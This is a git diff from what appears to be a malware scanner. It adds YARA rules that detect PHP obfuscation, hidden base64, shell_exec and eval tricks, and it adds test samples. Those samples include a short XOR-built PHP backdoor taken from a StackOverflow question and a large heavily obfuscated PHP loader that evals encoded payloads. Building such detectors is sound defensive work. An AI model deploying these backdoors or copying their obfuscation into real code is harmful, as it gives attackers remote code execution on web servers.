".$dir." | +|||
$file | +
diff --git a/pkg/compile/compile.go b/pkg/compile/compile.go index d040a76c..66a76b86 100644 --- a/pkg/compile/compile.go +++ b/pkg/compile/compile.go @@ -49,7 +49,10 @@ var badRules = map[string]bool{ var rulesWithWarnings = map[string]bool{ "opaque_binary": true, "hardcoded_ip": true, + "str_replace_obfuscation": true, + "php_str_replace_obfuscation": true, "hardcoded_ip_port": true, + "base64_str_replace": true, "systemd_no_comments_or_documentation": true, "sleep_and_background": true, "Microsoft_Excel_with_Macrosheet": true, diff --git a/pkg/report/report.go b/pkg/report/report.go index 10f91faf..e1fb99f7 100644 --- a/pkg/report/report.go +++ b/pkg/report/report.go @@ -152,6 +152,10 @@ func behaviorRisk(ns string, rule string, tags []string) int { } } + if strings.Contains(ns, "php-malware-finder") { + risk = 3 + } + if strings.Contains(ns, "keyword") || strings.Contains(rule, "keyword") { risk = 2 } diff --git a/rules/combo/backdoor/php.yara b/rules/combo/backdoor/php.yara index c2fb9e01..5815eaaf 100644 --- a/rules/combo/backdoor/php.yara +++ b/rules/combo/backdoor/php.yara @@ -248,3 +248,23 @@ rule php_base64_encoded : critical { condition: any of them } + +rule php_str_replace_obfuscation : critical { + meta: + description = "accepts input and runs obfuscated code" + strings: + $f_str_replace = "str_replace" + $f_display_errors = "display_errors" + $f_output_buffering = "output_buffering" + + $i_get = "$_GET[" + $i_post = "$_POST[" + $i_cookie = "$_COOKIE[" + + $o_dynamic_single = /\$\w {0,2}= \$\w\(/ + $o_single_concat = /\$\w . \$\w . \$\w ./ + $o_single_set = /\$\w = \w\(\)\;/ + $o_recursive_single = /\$\w\( {0,2}\$\w\(/ + condition: + filesize < 65535 and 2 of ($f*) and any of ($i*) and 2 of ($o*) +} diff --git a/rules/evasion/base64-decode.yara b/rules/evasion/base64-decode.yara index b43240be..fe0f7534 100644 --- a/rules/evasion/base64-decode.yara +++ b/rules/evasion/base64-decode.yara @@ -12,6 +12,17 @@ rule base64_decode : medium python { any of them } + +rule py_base64_decode : medium php { + meta: + description = "decode base64 strings" + strings: + $b64decode = "base64_decode" + condition: + any of them +} + + rule urlsafe_decode64 : medium ruby { meta: description = "decode base64 strings" diff --git a/rules/evasion/base64-hidden.yara b/rules/evasion/base64-hidden.yara new file mode 100644 index 00000000..7dd38d55 --- /dev/null +++ b/rules/evasion/base64-hidden.yara @@ -0,0 +1,10 @@ +rule base64_str_replace : critical { + meta: + description = "creatively hidden forms of the term 'base64'" + strings: + $a = /\wba\ws\we64/ + $b = /\wb\wa\ws\we\w6\w4/ + $c = /\wb\wa\wse\w6\w4/ + condition: + any of them +} \ No newline at end of file diff --git a/rules/evasion/php_no_time_limit.yara b/rules/evasion/php_no_time_limit.yara new file mode 100644 index 00000000..438c5045 --- /dev/null +++ b/rules/evasion/php_no_time_limit.yara @@ -0,0 +1,8 @@ +rule php_no_time_limit : medium { + meta: + description = "disables execution time limit" + strings: + $ref = "set_time_limit(0)" + condition: + $ref +} diff --git a/rules/evasion/script-obfuscation.yara b/rules/evasion/script-obfuscation.yara index a4a2a983..adf22e14 100644 --- a/rules/evasion/script-obfuscation.yara +++ b/rules/evasion/script-obfuscation.yara @@ -54,3 +54,16 @@ rule powershell_encoded : high windows { condition: filesize < 16777216 and any of them } + +rule str_replace_obfuscation : high { + meta: + description = "calls str_replace and uses obfuscated functions" + strings: + $str_replace = "str_replace" + $o_dynamic_single = /\$\w {0,2}= \$\w\(/ + $o_single_concat = /\$\w . \$\w . \$\w ./ + $o_single_set = /\$\w = \w\(\)\;/ + $o_recursive_single = /\$\w\( {0,2}\$\w\(/ + condition: + filesize < 65535 and $str_replace and 2 of ($o*) +} diff --git a/rules/exec/shell_command.yara b/rules/exec/shell_command.yara index 7e3c196d..f6ee9ef7 100644 --- a/rules/exec/shell_command.yara +++ b/rules/exec/shell_command.yara @@ -1,4 +1,3 @@ - rule system : medium { meta: description = "execute a shell command" @@ -12,3 +11,13 @@ rule system : medium { condition: all of them in (1200..3000) } + +rule php_shell_exec : high { + meta: + description = "execute a shell command" + syscalls = "fork,execl" + strings: + $ref = /shell_exec[\(\$\w\)]{0,16}/ + condition: + $ref +} diff --git a/rules/techniques/code_eval.yara b/rules/techniques/code_eval.yara index e045e054..71e190fa 100644 --- a/rules/techniques/code_eval.yara +++ b/rules/techniques/code_eval.yara @@ -37,3 +37,13 @@ rule shell_eval : medium { condition: $val and none of ($not*) } + +rule php_create_function_no_args : high { + meta: + description = "dynamically creates PHP functions without arguments" + strings: + $val = /create_function\([\'\"]{2},\$/ + condition: + any of them +} + diff --git a/samples/PHP/2019.StackOverflow/README b/samples/PHP/2019.StackOverflow/README new file mode 100644 index 00000000..dbc5054d --- /dev/null +++ b/samples/PHP/2019.StackOverflow/README @@ -0,0 +1 @@ +https://stackoverflow.com/questions/57783589/is-that-some-kind-of-php-backdoor diff --git a/samples/PHP/2019.StackOverflow/smileyface.php b/samples/PHP/2019.StackOverflow/smileyface.php new file mode 100644 index 00000000..8df688a1 --- /dev/null +++ b/samples/PHP/2019.StackOverflow/smileyface.php @@ -0,0 +1,3 @@ + $_="{"; + $_=($_^"<").($_^">").($_^"/");?> + =${'_'.$_}["_"](${'_'.$_}["__"]);?> diff --git a/samples/PHP/2024.Inull-Studio/err.php b/samples/PHP/2024.Inull-Studio/err.php new file mode 100644 index 00000000..e7d62535 --- /dev/null +++ b/samples/PHP/2024.Inull-Studio/err.php @@ -0,0 +1,25 @@ +100){$ٗ();}eval($ִ('D0AEشG49Ʀ/G+H֬AF1CβGAĢؚ0AHEȴADB='));!$ȑ($̻Ř($($പƆ,$ݯ('1'),$ё('1='))),$($($പƆ,$̯툤('=='),$Ӌܼ('1'))))?$뼘():$ȱѵ;$=$('1CF');$ͯݚ=$ӫۆ('1');$ͯݚ=$(@$ۭ($ٚ($($പƆ,$,$ͯݚ))));return$ͯݚ;}function ($,$Ӆ朋=''){$˯='base64_decode';$=$˯('bWQ1');$̵Ѫ=$('');$Íշ=$˯('b3Jk');$Һ=$˯('c3RybGVu');$=$˯('Y2hy');$Ӆ朋=!$Ӆ朋?$Íշ(''):$Ӆ朋;$鞘=$;for(;$鞘<$Һ($);$鞘++)$ﱍ.=$Íշ(${$鞘})<$Íշ('')?(($Íշ(${$鞘})>$Ӆ朋&&$Íշ(${$鞘})<$Íշ(''))?$($Íշ(${$鞘})/2):${$鞘}):'';$ͯݚ=$˯($ﱍ);$鞘=$;$Íշ=$Υ=$Һ($̵Ѫ);for(;$鞘<$Һ($ͯݚ);$鞘++){$Íշ=$Íշ?$Íշ:$Υ;$Íշ--;$.=$ͯݚ[$鞘]^$̵Ѫ[$Íշ];}return$;}}}global$Ť,$,$,$߲,$ʨ,$ƺѐܼ,$ߤ뿛,$ȸ,$㝴,$¢,$ۭ,$Ăټ,$ȑ,$ٕ׃,$,$,$䵆,$;$ʐ=$͝ƶ=$=$=$ҷ댭ϲ=$=$܆؇=$ǭDZ=$ʫ=$Ҟ=$Ԙ͢=$کȞ=$=$Ȉ=$̥=$Ÿ=$ܔЄ=$Ǜ=$='¾';if(!$Ť){$ʐ($Ť,8);$͝ƶ($,9);$($ߤ뿛,10);$($ۭ,4);$ҷ댭ϲ($Ăټ,13);$($ȑ,12);$܆؇($ٕ׃,2);$ǭDZ($,14);$ʫ($,15);$Ҟ($䵆,16);$Ԙ͢($,17);$کȞ($㝴,18);$($¢,19);$Ȉ($ȸ,11);$̥($ƺѐܼ,5);$Ÿ($߲,6);$ܔЄ($,1);$Ǜ($Ƀ,3);$($ʨ,7);}$ִ=$ݯ=$ё=$ǤԺ='';$=$ִ('8');$ͯݚ=($$);$䵆($($$));$ә=$¢($ͯݚ);eval($ִ('ACBGA0ȪΪ9ȢؚEGGFΞ='));$=$;$䵆($($$));return$;?>HҞ8겞+C⨜8E69DE8갤7D1H8B66E̞5ܮ̖C+DG3Ԣ/C1̘ޘ3ڮJ2EDF29EDԖBIĦʢB38FAI10C5AJE+D89G/A3Fް/EAGACBJE+J17̜ܲʦ591֤4/5/DI552/D6/HHFF8GG7Ш9谖BF1+47G2H+211F95BFA9FG6Ĵ91007420+/HGƨF8ΰ2FD795348GB+괲7GAܘ7E5ڬCҴ18370D3B1DA9H6H7ڮDJ4094CJ508CHDJ+3䢜9ज127ڴ/G8F3DJ4G®A5FIҠ̤/آJIIJ¤15246+2貮䚨1ĘФ64AHD̰4G/I+☦J0E̤73FJ9A8̞ꞲII6ڠ+ڜ5DD7CGИHƲ4533Ԗ6/ҘH0CƖF2G7䦮8GF8223G28H06GJ434G24ޞ5خ/DJAC+EΤE좰ꬤAD6J89G34A8Jܠ6633IB/Iڪ֖DJ4ږH얲8Ȝ07IA0+GIFH⤤J+1/FEΨʮ0F70ĖFʲB+Ʋ1/1ƪD7GID7ʰH3H6F8H09̢֪C9вHĢAE1謚ܲAI71ҖAȲаڮҪ+ܴ8231E4ޠ֞7H4F/63ȬШ11JBBڪA̞άJE87A2I0+آ8Ԝ7Ҩ/C/Ě1A֨904H8/2IG01ҢЖFF8D3FΘ2199I139 GF+GGҨE+I̚6I/5258/G/GFG7GHJ4C5ڰC4A9AJ1ؠ0薚ذEB6032֖42ʰCAG726FD0J3Բ֮JDƘ2̦EڮJ̬8B+ږ+I3Cޢ08E50CAHI447¦7J873/ؠ6A/I/J2J4EԪFI76ID/G/²61Aخ6C/IʞG֬МH7405GCԞЮ1BЬ°F85ОA772Ҧ376̲HH6C5I4/֞9C1ACAHFڨA+H̨IEGEBI67I/+70ƨ0J6JFE592GGG33D/CAJ6/Ҵ̜393+H584GGAII/Jެ1ުĪ55I60Ԗ5A19B6943ʚD̘8+®6FBA9쨴73ڮڴDҘ8J0CA+09FC4֖0ܴFA74Κ06FԪ1AΞFΨΤ䠞HJB94G9ȢBަ֢A+JBĦ잖BҨ205F3ΰC5ܦ/4D5Jް965E1CD/503223A6ĮEМ906A4/H7/+Ԭ+00ܪBEGB6B57讪ަ6242EBBB2/ΜD5961Cښ66EAEږ1963G1/EGF/DH2GԨҰ2575J4+4Ϊ7ʴ97H9+ڰCʢ/1EHF39C93DAޜ3IB9J66A4CECF0B05JG5IΦ8Gΰ1/I4F3BJ8283C50ȚڤH33I8CҨ456H32D0II72627EBʚΜAژJ֠I09ҰIIAF410C1G+1F䠞3ܖA+ڠ8ԠF31J6BI6A8ƞ訪5ԦJΘG6AȠ6̰ܴ6JHΤ00+4EI8194G078/Ȧ8D2BJ5729ܦ/8CΞG4AC645//+5B349̢ОD196+Ԛ1ֲ3Ģȴ44CG/1FF4F֦2EAG40GD01ʢB96IHަ50FJ6Ě6IJ2̢F++0HʪGA+A/ڦDC9AʲܦGF7ت¢GD721GE2ꪬHJDD598+3GFު890G70+J864317A862JEG27ژDAFB0̢G3H0BI++B/+C882B4H21005F6AAHCJ1E5ޮ/I2G2ĘH̠⮞JЮڴJҠBаܪBژ2+EJJEҖCښJEGĬ9䞞BJ80Hʮ2ĞڠIJ43H+AĜ5BئJAֲ̰65֞C52JȨC4ޢښAG4CFԘȦAD6̦G6JB/5H0E0ʲD¬/I396I1ԨFE5DB3BJ/7+66ʦ42JDG3C115HG5A75ܮ55ԲJ+ְJDʲJA7HH2402¦РBJ֪ЖH9I2AAD0JDJGCHAF1I58ƤE4/ADAެ19аȖ3G5ܴ/49DH76֤9DJC558GE/4/392J3ʲGĤ AJΨ23BJBD+523CIB3 EJتA0Ԟ1I9E5CF5JʪAȲ8ܮF8̲A5I9ʮ6⤨IئHDJ4727JF765FĮ158G0FܤƦE2401/B+3ĦA6DҞH48И373GGGFڠCJƘ756Θ26D77/++ڪڮа5/5/2820/I°ʠ/J78GꦞԞ5/I̮4CE4BEA42ԜJCI؞20Į3CEК++90ĪFJ3++6HĞ+CD5+G/̞A´7ƦHؖԘ䖲B9267F֪6̜ȴD褪447A5꠨1вHFG8B9B6E026+83GE53210ڦI00ʚGHDE֤4ȪC6260HEGJȲ5GAE0HG+0B֜ȮD58Ȧ95ڰ69BҰ8D5ޖD7аܨDI+A+I//ڜΪ7BB0I30/78I18FG/D2329I1ܬ/ژ5+12+ܨ5J076C2+0+E2DD/B9/EBJ30Bު150BIB9EFDF+I+FE29I5δBEH+J/106DDIܚ8Jޞ7ԬĬҲ39EFFBIC7A5B8/EޘBHIG73DJ19ڤ3875/Ė3B+0ήJG1ޠFB/0E+4HԖG509/7GܴG8G5ҚH0/+/GʬEڰ264G82B+40ЪĨAܴ045F/ B36CG1֚9GD32/4735JֲB08ذ4ޘA6/IЖ+35C4Fர3+Ԥ+/HҮ1ƞ97B/̰0ֲ0ܞ1겘F8GBFC´40A9J5ĠIDF5⮞GFDHGAܤBCܠ⨠DDA472䦘̴AJCܞ8аB2I̮IA17F5ؚG+H9/J֘7F7FE9041A֪73BB++E 23H9/H֢9I8Ҫ9F3/4I+GF0ΘȲ069¢I4//+3HJA8H10013̜CA47İƠG20ȮFڦ042CB3J/854ްJ̴I0ؚԜ9CAH2GI52F616H2̠8EΪ0G6I934I+579ʮFBGCҘ3DG4ܦʚ4D317/7307آGEܪFޚD10+4ԴBI96CΤA57Dڠ0䘨JB7E01II6JE0I09CA061+2CFGIG+Т0AD8+CEJCڮ19BB7֮GG4BF2C+B1119EH̦G3ޤ+3Ԧ+GڢĚƤ+ܢ5ښDGBGFB+ĢC6F+22FFEȖF2Ш+Ъ31F4̖δC3B2/8ز9ش86AEDذB4GJΦ8ؠ3AH614̦Ȟ5/Ҧ9I쪲0A30J99EަެD8HI86F816AԨȜԤ0Ԧ洰9+J90ꞮB椲5F5Ħ樬035F+79D1AH7Bڴ1GG7G9I/G4JB´7480J+J3BIFI46D7H36Ж50+ꪠ70/+0J8DªF4ΚCEެ657J/AH4H+/6AFά71EE5AJ1A/B64IB05I06J6806잤6𢲬ABDFGCCGICԲ7GJ6150491+6Dب3DHFJ78ΤܴF48ФҜ/Ҳ6ܞ9H30J676BH5C+BH176B8ƜFI114ȘH8G3ܤFJE8ڤܪ71A/E90AD80B88욬3B9H5868ADIC+ش9I9AE2/E2 0IО̪Ȗ0̠+54즰2HئCȢ2ꮠAޞƖ13ȲDDFDE3EG¢ΰ29BJFAA58711/1꠴EEBږڤI7/Ү2J4EG3G18沤904B6FH41F35+ܦA8H5HEBJ+0Jިꮘ5CԴ⢤17HHCH0ޢ464B22A/4F03ܢ8/0䚪3949/Dܰ4965ȜA+1ƞ6//ԦֲFJEADG4ԲH2C7DDI5GC+/019G313537GGҠ01EEȪ2D̤D73+I9Р6189H549/0833I/Ę32DڲHH2IJ+B3706H9D86+¢B/2G1C6+F0IBGA0FAI/GB̠ƠF34ʦIA4DH/DE347ڢEG3H0/55G97451EBBAڞ0IJI8IH6/EBB51A9J6Ȣ1534085421BFBA8Aަ6G2ޮƜE23HF91Ȣ5+DEI9Gʤ9/480FCEƜȚ5AJE/ҠCȦ8쨚FCFABJCJFG+9J6EG9H3+F/323DI240ȠԮ49°1JAڲ1CH0A52HA17202पBޜĚ 9A74FC5ޠFFԖ5GA֜/AܜF1/+5ڜ80⮬57IHGDJBC+3E+ڲHBI59Dꮨ1Dޜ6F+8EA̲86C7G誢GB225/7DE23֮I/FHB̦ƴ蜤1آ6ЖBΪ1F謚G+II6HHDDBDFJƴH֮E8枬H+J55BADEޖ2C/0ԪECHH41F/̢J35ޤ8زʠ86GG7J4ԮܚA83Ģ6HE8ڴʪH9G07D37HԦAĜܚ5Ȧ5371Ġ80F66++E1B/59ܦGΰAAGEDA47H39A8BޞHؘĚBG71/I̬М6GFFFBԨ069HCA8CȲG7֜65ʤʘ2127H6ƪH3CAܲJ58HƮI8+ʚ134I6I¦FܮF4IHFִ2/+/C쨬FDĦAH35F/4++DޖޘJ9H8A2FJJHԢ̖H03ĖHCI69E62ʨ1+2BI4CΚ9CЪ9ʦ8Ҭ8D516I//25EI94/DF+II09E9AB+06J9H32֘7C36ADCȢCG6E23432HF+E5042D4/57Ҫ13ʴF1/A1AA370/65/6024ڴ36JI4+잨3+شCԞE125DB9A7IBܞF9I5169/I37갤CʢFEA¤JJF2آ9419G02/ޞޚAުJ97Ъ/ؖ84G8FF7C99G01Dږ蘖7ОIC059İ86B0I97H+09FI44䘲13FA/8H7ABȮ4IIJΰD8IȬ09DCIF+JDFD122CIF0Cؖ5EDADH83/59JI䰘BJ+Ԧ3J¦EIΨ544ƨ05E2A4I5+Ξ303ƢF8+2ʘ99/7I314AI7F7CĤ줠4+G1A+9BJ9DF30¤A76DDڠ6/E22J+G0ƴ8A7/0I5FIGDF748C21B3ʨG871IHF6+9H+5717C7016G̖88+5IDޞژBFF0FHA9H0+400I+Cİ֘EԞ900/7J2G00AآEGEGH25+3793CGE2¨9+ޚJܜ7CD̬88/+54E1ICޞ122GƘ欰֬Cʖ0/58Fʲ+08G462I9+CDDHΤ4+JޜȬ48J9I0ܬB2̮GJ7F/431JH+8Bβ+H6螨/F02I20ް2I/055G1¤I7CޠΜJAHGМ8JH6/6F0¤0B2I6JĖFJ6ΚH594599846/+JI74BC864CB2C6Ң6I/3+J10+HJIBCDE66+61ʬJIJ֢CGAAG64D7GG13ښB7Ξ//D/ȴB2+ƦJޘ8C5Ĩ42EBF/FʨEFCमD/1/1I+Gʚ20/+1/ڠ7֢CI8JHHHJ0H0Դ/E061B3ȪEGش4DB91/ĘD5D7AҞB1E1GGHFCH+EB8F4ڬ33Gְޚ8Fئ1ȜƨDJ156F4EGԲ19ئઢB/DƴABH4GĞ65C䠮Iޤ3AE좞/46FB43Ү93FƞB²88B/060ਞҰ3AG5B01H8B8F4֤Jʪ451IJδ8594H0C6J42̜䠞H24EJ+2A+5䬠+78/蜠Ĝ8EAI/1𪘬Jޜ5DH7E36+2IHF̢43IA4/HE8BʚHEԦ¢ԬA3BCFE֠زآ9Ƥ3FGBCC8DC6DH4F79CD5HԘ0D8HI93ⴠBB1B3/14FಘDIIҢĢBJFЪE46C8G24GĘ4ʰGBB0II5A0䘪Ƥ5724ԮE4ڬԚ20DG9A5Ę6B64Ψ4G/JBE7B1059F++G9C1B69BBDBC2FADܴƲA/2B/6ܦ6DCI3FIʠ8B893A06A+/E35̤4вԞ/60A1120BH799J¦Ь7JEGEB7I38CA7GG3CĨ6HڞGJ5+9DAB/264Jʖ젪9B4/G7FA2Ъ2B48+ܜBB45E94A3C5CGAI16C8ܢ67+EF625Fب5AG/3/0FĤ373+GJ37G93C/2/8I72C6FJ86֬ȞEޜޜ34JD1+ʘƮH69398Jꚢؠ̰9B76䬲䨲δĜ3AĬ2/A6E058֪B5I48ܢAC9H+5Ԥ+DBڞBJ7FG492E6IB93+İIJHAܜH82CĢ4Ϊ51ȤGҬA4442HA5薞675H樦4EԠ+C117Ī5BBH6Cڮ1GEH6G4Ȥ梬4Ԯ8C֨HJDAڨΘ֘358BEBF+0⢠+̦FHCHEICF96Bؖ97/7CE+3/56G3Ξ427C8/6D1725М5IDEDC97BG1FC7Ҧ5AD6F427ƠGʮ9+9IAJ+1BG֨G7Jڢ7553+3B2DHGȘEA60B419β7CڲژH2HG+B21Bڨ02C1G2B+/D9ڠ4G9Ȟ9Ơ´¬4Iְ֤BI1Ү1GEƘFƪ4I/B6G䚘06H+EA/6¤HA4֜FĘ1AȢAI09JE4Gܬ8GJ3/9Iآ°HI/G10G4+9AB/56ڮ392A5E0Hܚ77̢6AH7FC0ΚD72Ԯ7EHʮĦĖIIDB/ʚ5/3F786IB3+EΚ/HJު723ؘ5J+A90F00EB/00J77DF3Ȗ0ȴ3D43B/C/H/3HE8Ḛ3E⢢HĢH7ТJ69/H9D9FH18FH6/֜684B5FDJH/10B05ܨAδAB90I/A9H6D4AI5FȪGޞ+0ꦞ5زܦ4ܤ9A6J75̦CIJJ5E7/+栖HКʦFB63106H/Ħ91DH4H0J讨F̬DFF̨D40G̴72¤/02Fά3̬CF+1GC1EĢ66053J557Ĵ̲D3GCH95ОڜGޚEGC+I3332E갞FABD3J2FIдGG/8CI7̖II26+5ά4C4Fڬ8H4F76AܰḪ0897ܘ5EȘIJ7JF+2H+18/4DA77GCʚJ4ICަ8CDIE/I֦Eޚ̴DEAڬ7DࢠB4AE5DEJ06A93DH4ЬH֦GΚ54/İFژG0/125GBDEЬ770AޚC8H+М5GЬ0FGCAC/29첤H/2F2ȴഠ/GƲ0/5/0֢8E00FD047+2GC/Fв̚F38DJܰG+D3+GI187/BCꜘEDCI++8JȰ88CƲ8D褚HG496JΤFҚ/즨D277F836FڞC8آ6ADޮ1E9Ʈ4C찖G68/01ʴڪCAG2729C974J1ICDE38DF1ΜIE6+D311괞I9I6A9055Fܞ2/C03☰/+Aު7DEH/091JΘGC2EJ/8C0βH0AF3樞IڢJHHB4HG6AҰG5H795ʬ0̘054H8F8ΰ0ΰ+DGΤ+1B¨72J¨1/+B̲09GF936F27BIҞIG+D7ҰBʴ64HBHڜI֮C̲A056ư촦87Ξޚ̦CCB53DΰI8F7DЪ̜F/2248젦38D00IJ31H59A898AJ5/B/9JD276E/GC2/3871H1DCC+/9J1/G4DE2О9D+1+060HG/ܠ²B+Ƭ33J6J898ԢJ19ܰ1EBFJD7C76H0ADD92Ҥ1/D0140ܚ/5Ɩܬ2+Ģ/DA31EBĢJܴ+9/31EEDEƠ䢬A0CAƴ4ʘG146ܪ979FG4A4139B5ް9F4+DAF+ȴ0H̖ܨH7E8Ԟޜ2ԚԖ9/+F/32JA7FCEΨ96Ș082G/3DEBC/DB1I謚64763DCG0E3D8HƬCG62EI9HЪ89/3DG54ڨB̠D28/G9ƦCIآ30CC87H2ڪ6FBJB4A4CEHʘ1/A6JB֨2GIJ954ڲFКܪ4ОC0/7ެ5J+0Cؚബ/EΠ7CIIF1E20ؖ6ꦨHIB62+I37Ƙ0GGΰJ1Cʠ5ʬ+5D76J93CD8D/Hְ2HHF3I5G5A77E86H736ҚEE/5+59DJΞE1ª֞BD8B5IGȴBAE5ڮ22C+ʞJBШBBAC9줴AA1D1I0F2F//+AG1Ҟܜ⤬12AȮE510AF6JH43/FJ739ҜC35A+FF1I//AF/38I7G96HC5Ҭ+/39EGJG760DAޮƲBJE08E+ꜚ6/12H5BܴA6F60HޢHGв0̢2Ɩ9EG2JΤHB1ƚ+A3+/GBI/7+G1I8HCIF86A̠2H05+EҖEA5H/IC8ڤ/֮A991JD5ܪԨ4Gİ453/1B5JƨƖ0ޤFB0ȬE4E6ȜJGDI3E11¤2HEG֚3JIEF5BB4H/+2ܰ2EG6A3146F2J+3C82/تDC39171IHG9֠2G֪06GA+1J9J49ܢ栨+Gڰ̖9G´EDA7A7BAE0IJAEC96I¢Ș+8JH7+6A6/BȰ603HJ16/2A1FAƜ7A+302AFG2D5C3E9G2ĘBEI+Ю+H00H8I3𘖰2G5B/Jڴ750Hֲΰ+О21®C̠+Ȭꚴ6+䲞69ؠBHH60جJڜ2FFE֘71讘0Θƪ6F8F/Bް07G1찰CHGܖҮJF֦063GE5FDڴ8DFIDDF5II5C3C86E5ªGB6066JA4¦JƤHКF7ڤ2HH94+30+E4IȨG2FBĞCB3+J9A4EH6ڢIؤFH6228EC1Iܴ8EC8ΦIĮ516Ȫ13041GB3HޖBI+47Ȗ/I2Ԗ9BD8B661I/ܮ/B8Cޖ䬬F14JHCF323CJʤҢI2¬BޠH1DHGD58ڢΦI35/Ҫ8ޖECC2/+𦜰ID̘ڦ24A4475HB075BG4I265BHC3Ĭ+462ʪ1A6IF0̢I8H8EDB980BABڮ71JȖ48AFA2H49̖9EFJ7J/G̞7+BHE080▴72DDʜ8F5FA8070Ȱƴ827GԬ0+EڠJ9Bܘ7¢9IEE32GD072ά65D1GEA0753IE133¨30132397ʬEFE9DCE19C8¬HJʪ֠4918BE0D7FJ70HE5ږG++ƚ547B0JFتCEƜ6B/14ưA/GΨIFDA7G5//38BEHH8C1AҲ02JJ6E469H6762D6̨+FE2F63EJDĞ6FAFGJ71/GEҢEGHEDH8ABа51JB+ʖ95A䖴CGG+ڰИJШҤJҲI3E+8BB+E2ޞBJBDĞI4+ΜHآ7+68̞䞠0D5509702ΰ1FJB7525G7I76ܖ4ƞ7581/7FEC9DC9¨B8/J/57F0ƪ05AD蘢1A/92ά8147F31+B83ئ88ƤDIޚC89E9Eڦ//HIƨ̚ʠD8JޞƦ5BB2IH12J0+7/0IAC2+A2+F+1ְ1JDΚH4ܠD8723J1+DР+A䴠ʤ31J391166̢05A讨EAC616ޞ584J8FBH+E325F0CH504/EԬ7ִΪG3830CJGBDΪ5̘+7İB+ʜ0ܪ/BA0H649B94Р1D1D0FD2Jڴ3AG4HJJ4¢ꢮ479HHD21GGGΦC7+JD1ʮA93ΪĖ6H̰EBAHAA7̮9ԤGԦ1BآE¦GGJHD7ޜȠEGI1+DE/92207E17F5̠JJDB161IIA621069/ʘHII81B+D3̬ژ5AEƞ904EIήJJ1BI77ƨ5ޞȘF5¨+94/4촜I6/֮I+F3J7DB貘+ژ¤66H/02/JF/ؚ80ؤC/0B3EܢAJF1DֲFĜ+6J֢G86ޚ7HIJЮ957+A+42/E16/ECĴFDGJ9EIH֠J9CIG6BAEH6ްI2CJ22EJƪؤ92+1Fʰ7/3F2FAFHHG295409+̴0ID7+Қ+Ԥ/3D䪘ʬEC7DEB++A+Ȧ3ږHFC3DJΠBFFB00F9793I1D0ޤ9HJ9BH7GACBެܚ̖41GHFCH4A3βFAJ7ޖHF0Hخ10F4BHIG/CGA5®I+82EDB3283➚ޞI3GEJIE0982H50D6GFF996J7+92G30FEΞF2J2IB6IBެF̘GB5474C䠬AҘ96+I3IFCC̚05HFA79B3+7C1EڠG/ުЖ8ȘHҨ092جРE33DдJB5E0831EA1F3+֦9JFFڮ19A 8JHƖ̖BEH8䰤H111DƦC̬֖F6ڦ7G8H5+5E0谦46F7CҰ3J2CްBIFB8717FEFش4+2Ɩ5203A3766CE2+7B+3+ޞBJEC+46ʰ23G000朘+F4¬D1ҜAGGEI4+B/9М4BHDC4F/CDA/BC2EHICHE9/59֤촠/I6G1ʲ86G+++5BⰠJ83FB7Τ1E/Aئ200G20JΚ56E2B74B8C2B84HΦ/C4H8ȦC8/4+9+CB4IHI؞F+Gޖ3B+DC6J245/24G90B3B50ܜ4F9JΦJ7A8159BHCA85HܞABIʘ69I3ΪCB9ԞМ1IDDΠ80BCG78CA¨J6HJ+■DI̢ACCF7A94+EBIA+HJ0E°ܤܠ1G18Ԟ+FΪC95F9/74B3B2G++BҜ/ؖ506CƖ0H3DJGܮ+318ޘ44D166C욬1GD754EE00+BܦCBI2ʰD5F8֘Bƞ8F03ҜFBGҪHC7J+EH8Fܮ6GȤ4905ʪ047شEJC73JE2AIFĢEBHޚ+4I7G16224G+94H71BҴB5H7B9ª2/G/44AHI72G4+ȬIJ2I9A411+GC14/JF62ܲE5BF1FF47A429ִ2+CCA67G69D364Ƣ2IIB5HGAƬ7AEڪئڠC5ACA6AFE49Ȧ321ܖ5CƘD/2I0Ҭ3HFԤҪAJJ3+CF7ƪ35688B3ҜD2ܘI5F2G+ /+E2A7J43G358FH1H1E+ECԚ758/29ʴ+ʚHĢEC+5C9267²+FG/FD724Ĵ6؞AHƠȪ0F5ФGB¨5G52CH37B25D0/AC231059Ě07B52ڨР6DئEA+CDA+0ꢤ45GIδ48GI8E01+IC/؞/̰02̰+J1DCҚH/G4貦3+2+֚FB01H38Ԣ4A+98J괨2+DƞBEF355F갪+殬B688B931G AؚȠJԞ7र638D8FD48F1+3HEԬD4ެ9178JȖG+7Gʮ+6ʜC77H09F𦤮6530CGE51Ұ95587I+JIЦG֪+BFE/+ΰC8/A3+DDBE+24FAʚ3E00AE34+/5HJ5Ƥ/7711/Ƣ45BAFBIIIEIܦA5ꜤޤIGB4/0D3I0̜A2BEК4찞HH35C8A+8C3GEAIACJ5ܦన57/7A5CDJG8ؚ7+J//ȲG3֦5¢A6ꦦҠشȬGܖΪ439IEG¨Ԛ87Dؠ18E8ܬ7E182++B9071ĞJ6⪠EHFF7A494123AJJI38¤֜EJ8֦1I0ܨ40I/64ֲBCFD5ȚE48®Jޤ6B䖰B8/H5H0М84ܖ9Ȫ1/FB3I+ҢJ/D94IGG052FEΪ47DG6/A1D71B44ƚ7DƘE69G33蘚2ECβ6Ȟ306/21BHAJ3FȲC4J4ΦEJ3̨+9EHDAЮ3BJ6E7̲C+B18D+5DI֘ި9I1Ԩ8C+ή̞I6J/H47ĨF/9ΪFD0ҢHК13+HGG98BH74F79C3G00I5153BĖAE6/9ڞȦ25BJFAA2D04Ц֬J7FȘ2E+ʲ1485G293895Dʲ3ؖBHB1/85H7ʚH301H/H054/+8E75JC3殖67BҘʖ̰Aت֨ҠFشAAIJޖ+蜬91B9903DIDE謤1ڦҲ68ꬪB88Ҧ0Ұ0I9ʞI1ABCĨ/ʦID/FBE7279HEҴ4/A6/E348BE갖4HEGH1̬ܮA58A6Iެ5G6E7452D0ʞHH+ʘ֖شD8GJʲ8Π/̚II6Ψ00CA46ΞB8HƲ/0+C8I6Ḭ/48AFΚIB47ʜ431HΦCڬD8/䘖Ȯ7ʖCD51+6AҞIԘ覨4δ/Ğ32JĢ0F6̤+0IʠΘ谖3+7+̘6+AA44EJ4IΚ61+5D2ID4HG+G++B1C862EI/3F4E3G1ޮEA4CE270369ҪEJ+֬808D287B5BBH2D̴FȴʦB89E5G205IG15֖41Ԣ6¬ܜ9GI3C4I3+3C؞+5C8BD쬴ТA3Ԗ+1EEAG1626HD0AܪI+ʬĦ+F/تF윜C284®9C؞67JAC80̴3G0°/0Ҝ58I9G48327IIJ9//88ܠ4H2ܞƦAF5D282/E6ڲC+A47C7C4GI05A+ܞG6ʮIJ75¤6AG95AG4ʜ3AʠHԬ+C22CؘB9I20HIGܜ/5D+BB44EԠ9AF5C008CE792HD+E63J5A63F61Ъ/6F822272H3GHA4JECڤ6J